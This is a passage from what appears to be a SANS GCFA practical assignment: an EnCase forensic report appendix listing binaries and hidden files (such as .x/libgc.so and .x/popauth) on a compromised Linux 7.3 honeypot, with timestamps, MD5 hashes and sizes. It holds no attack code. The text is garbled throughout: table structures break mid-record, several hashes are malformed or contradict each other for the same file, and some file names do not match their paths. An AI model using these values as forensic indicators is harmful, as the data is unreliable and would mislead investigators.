<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>rmdir</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>ash.static</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfef97f4f374a6aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>loadkeys</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>fe4f44934ee081482eaf3d32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>bzip2recover</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bbf832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>gencat</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>gencat</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-------</td>
<td>----------</td>
<td>-------------</td>
<td>----------------------------------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>154</td>
<td>getent</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/getent</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>f1a14ddaf6053137dbda6798ee90f5a9</td>
<td>20,480</td>
</tr>
<tr>
<td>155</td>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>cfaa21a7bab79204868fa7265a7870e6</td>
<td>53,248</td>
</tr>
<tr>
<td>156</td>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0ea9192ef5d94673d79dd403</td>
<td>8,192</td>
</tr>
<tr>
<td>157</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdbcb3</td>
<td>299,008</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, as part of GIAC practical repository. Author retains all rights.
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>159)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f1b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>160)</td>
<td>sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>161)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>162)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712f6f4f4b412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>163)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83611c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>164)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83611c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
165) Name: eject  Description: File
Full Path: Linux 7.3 Honey pot system/usr/bin/lsattr
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 56853d1f05a01562c83811c02644930
Physical Size: 12,288
Logical Size: 9,684

166) Name: eject  Description: File
Full Path: Linux 7.3 Honey pot system/usr/bin/eject
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 85042620b5dd45a67c0280c9a3751793
Physical Size: 28,672
Logical Size: 25,812

167) Name: file  Description: File
Full Path: Linux 7.3 Honey pot system/usr/bin/file
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 63a4be81d1843be37f98b0986ff836a
Physical Size: 49,152
Logical Size: 48,674

168) Name: file  Description: File
Full Path: Linux 7.3 Honey pot system/usr/bin/file
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 63a4be81d1843be37f98b0986ff836a
Physical Size: 49,152
Logical Size: 48,674

169) Name: ksymoops  Description: File
Full Path: Linux 7.3 Honey pot system/usr/bin/ksymoops
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
<table>
<thead>
<tr>
<th>170) Name</th>
<th>ksymoops</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops</td>
<td></td>
<td>0d9ddca9a28dcc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>0d9ddca9a28dcc0313ac4012f20c6c31</td>
<td>Physical Size</td>
<td>450,560</td>
<td>Logical Size</td>
<td>448,456</td>
<td></td>
<td></td>
</tr>
<tr>
<td>171) Name</td>
<td>a2p</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td></td>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:02PM</td>
<td>Last Accessed</td>
<td>06/29/03 11:53:02PM</td>
<td>Last Written</td>
<td>06/29/03 11:53:02PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>Physical Size</td>
<td>110,592</td>
<td>Logical Size</td>
<td>106,681</td>
<td></td>
<td></td>
</tr>
<tr>
<td>172) Name</td>
<td>basename</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\basename</td>
<td></td>
<td>f3f3e1eeca45e97997a65be3b05346f9</td>
<td>19,456</td>
<td>18,879</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td>Last Written</td>
<td>04/08/02 10:02:12AM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>f3f3e1eeca45e97997a65be3b05346f9</td>
<td>Physical Size</td>
<td>19,456</td>
<td>Logical Size</td>
<td>18,879</td>
<td></td>
<td></td>
</tr>
<tr>
<td>173) Name</td>
<td>arch</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\arch</td>
<td></td>
<td>c35e95208ff892a4681492ff554cefe4</td>
<td>12,288</td>
<td>11,463</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td>Last Written</td>
<td>04/01/02 05:26:24PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>c35e95208ff892a4681492ff554cefe4</td>
<td>Physical Size</td>
<td>12,288</td>
<td>Logical Size</td>
<td>11,463</td>
<td></td>
<td></td>
</tr>
<tr>
<td>174) Name</td>
<td>ash.static</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td></td>
<td>a37e77f1a768a2dbcefe97f4437a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td>Last Accessed</td>
<td>06/30/03 04:50:01PM</td>
<td>Last Written</td>
<td>06/24/01 08:08:19PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>a37e77f1a768a2dbcefe97f4437a46aa</td>
<td>Physical Size</td>
<td>481,280</td>
<td>Logical Size</td>
<td>481,251</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>------------------------------------------------</td>
<td>------------------</td>
<td>-----------------</td>
<td>----------------</td>
<td>---------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>aumix-minimal</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\aumix-minimal</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>02/26/02 04:20:56AM</td>
<td>77b6900f314a7e6c8e16c21291102c1a</td>
<td>19,456</td>
</tr>
<tr>
<td>kill</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\kill</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>4e1659b52917e4ba4225086ad43b3159</td>
<td>17,408</td>
</tr>
<tr>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def246b7e78ce903</td>
<td>72,704</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def246b7e78ce903</td>
<td>72,704</td>
</tr>
<tr>
<td>sfxload</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sfxload</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def246b7e78ce903</td>
<td>72,704</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
</tr>
<tr>
<td>-------</td>
<td>------------------</td>
<td>-------------</td>
<td>-----------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>-----------------------------</td>
</tr>
<tr>
<td>181)</td>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
</tr>
<tr>
<td>182)</td>
<td>hdx1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>20e5862e2e2c1559ebbe0c6c4176c</td>
</tr>
<tr>
<td>183)</td>
<td>rpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/18/02 03:35:59PM</td>
<td>2785d86c07b94e07f132035bb2d20099</td>
</tr>
<tr>
<td>184)</td>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
</tr>
<tr>
<td>185)</td>
<td>sort</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>2785d86c07b94e07f132035bb2d20099</td>
</tr>
</tbody>
</table>
### Logical Size 64,291

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>stty</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\stty</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25ee928a929184a6bce4c12b4adfl75</td>
<td>37,888</td>
<td>37,215</td>
</tr>
<tr>
<td>tar</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tar</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db9c5e316ae81b2</td>
<td>164,864</td>
<td>163,999</td>
</tr>
<tr>
<td>sync</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sync</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bd6468f700017add292fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>tcsh</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tcsh</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453ee4485</td>
<td>297,984</td>
<td>297,363</td>
</tr>
<tr>
<td>ipcalc</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ipcalc</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
<tr>
<td>sense</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sense</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report  Page 290

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
</tbody>
</table>

192) Name: sleep
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sense
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: bbf8b62445518e7be3fe1db34abd1dea
Physical Size: 20,480
Logical Size: 19,999

193) Name: touch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 03/24/02 07:23:19PM
Hash Value: 66fb0a92dc2acbd0c28956eeedea704a
Physical Size: 33,792
Logical Size: 32,799

194) Name: sed
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:01PM
Last Written: 04/05/02 03:26:20AM
Hash Value: 541c2abbe42d278119dd924854202ec
Physical Size: 60,416
Logical Size: 59,612

195) Name: hdx1
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/29/03 03:22:11PM
Last Written: 06/29/03 03:22:11PM
Hash Value: 728
Physical Size: 728
Logical Size: 0

196) Name: libgc.so
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\.x\libgc.so
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

**EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:55:34PM</td>
<td>04/01/02 05:26:24PM</td>
<td>51e4219c74324b6225ec4a9feb64d0e8</td>
<td>69,632</td>
<td>68,863</td>
</tr>
<tr>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/18/02 05:25:27AM</td>
<td>dc46f094dc32c55945a8a91d6c7da4c</td>
<td>259,072</td>
<td>258,236</td>
</tr>
<tr>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:07PM</td>
<td>02/28/02 03:09:19PM</td>
<td>9b8536a36dc974af3264e68dd6c014f0</td>
<td>13,312</td>
<td>12,320</td>
</tr>
<tr>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82</td>
<td>28,672</td>
<td>27,839</td>
</tr>
<tr>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82</td>
<td>28,672</td>
<td>27,839</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

EnCase Computer Analysis Report

202) Name: nice
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/nice
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: 35cb1f72e74a590e9feab89765bfefc
Physical Size: 21,504
Logical Size: 20,767

203) Name: popauth
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/.x/popauth
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
Hash Value: 6c613bf6376fe55623e95ec31f55aba6
Physical Size: 36,864
Logical Size: 36,415

204) Name: pwd
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/pwd
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 03/24/02 07:23:18PM
Hash Value: 9ec6c46ce54bdced26d5dfeff0db0b78
Physical Size: 20,480
Logical Size: 19,647

205) Name: rc.sysinit
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/rc.sysinit
Entry Modified: 06/29/03 03:22:09PM
Last Accessed: 06/30/03 04:45:40PM
Last Written: 06/29/03 03:22:09PM
Hash Value: ee965268d25b94ed0ffeb16d6e5be890
Physical Size: 22,528
Logical Size: 22,379

206) Name: rmdir
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/rmdir
Entry Modified: 06/29/03 03:22:10PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 03/24/02 07:23:18PM
Hash Value: 9ec6c46ce54bdced26d5dfeff0db0b78
Physical Size: 20,480
Logical Size: 19,647

207) Name: true
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/true
Entry Modified: 06/29/03 03:22:11PM
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>First Name</th>
<th>Full Path</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>208)</td>
<td>Name</td>
<td>umount</td>
<td></td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>5a6945a0c9a35f6325526b40d7b13646</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/30/03 04:50:01PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>04/01/02 05:26:24PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>eaa0bfd117713f0141de92b8a5e7ed12</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>35,840</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Logical Size</td>
<td>35,327</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>209)</td>
<td>Name</td>
<td>uname</td>
<td></td>
<td>06/30/03 04:50:01PM</td>
<td>04/08/02 10:02:13AM</td>
<td>79bbdfd9a074c1d8bada03456410ebe5</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>04/19/02 10:35:23AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>c512271dc84a7d892551a73f85d89049</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>33,792</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Logical Size</td>
<td>33,349</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>210)</td>
<td>Name</td>
<td>usleep</td>
<td></td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>69d036032ca9d35d30d9df34127b2d5b</td>
<td>391,168</td>
<td>390,783</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
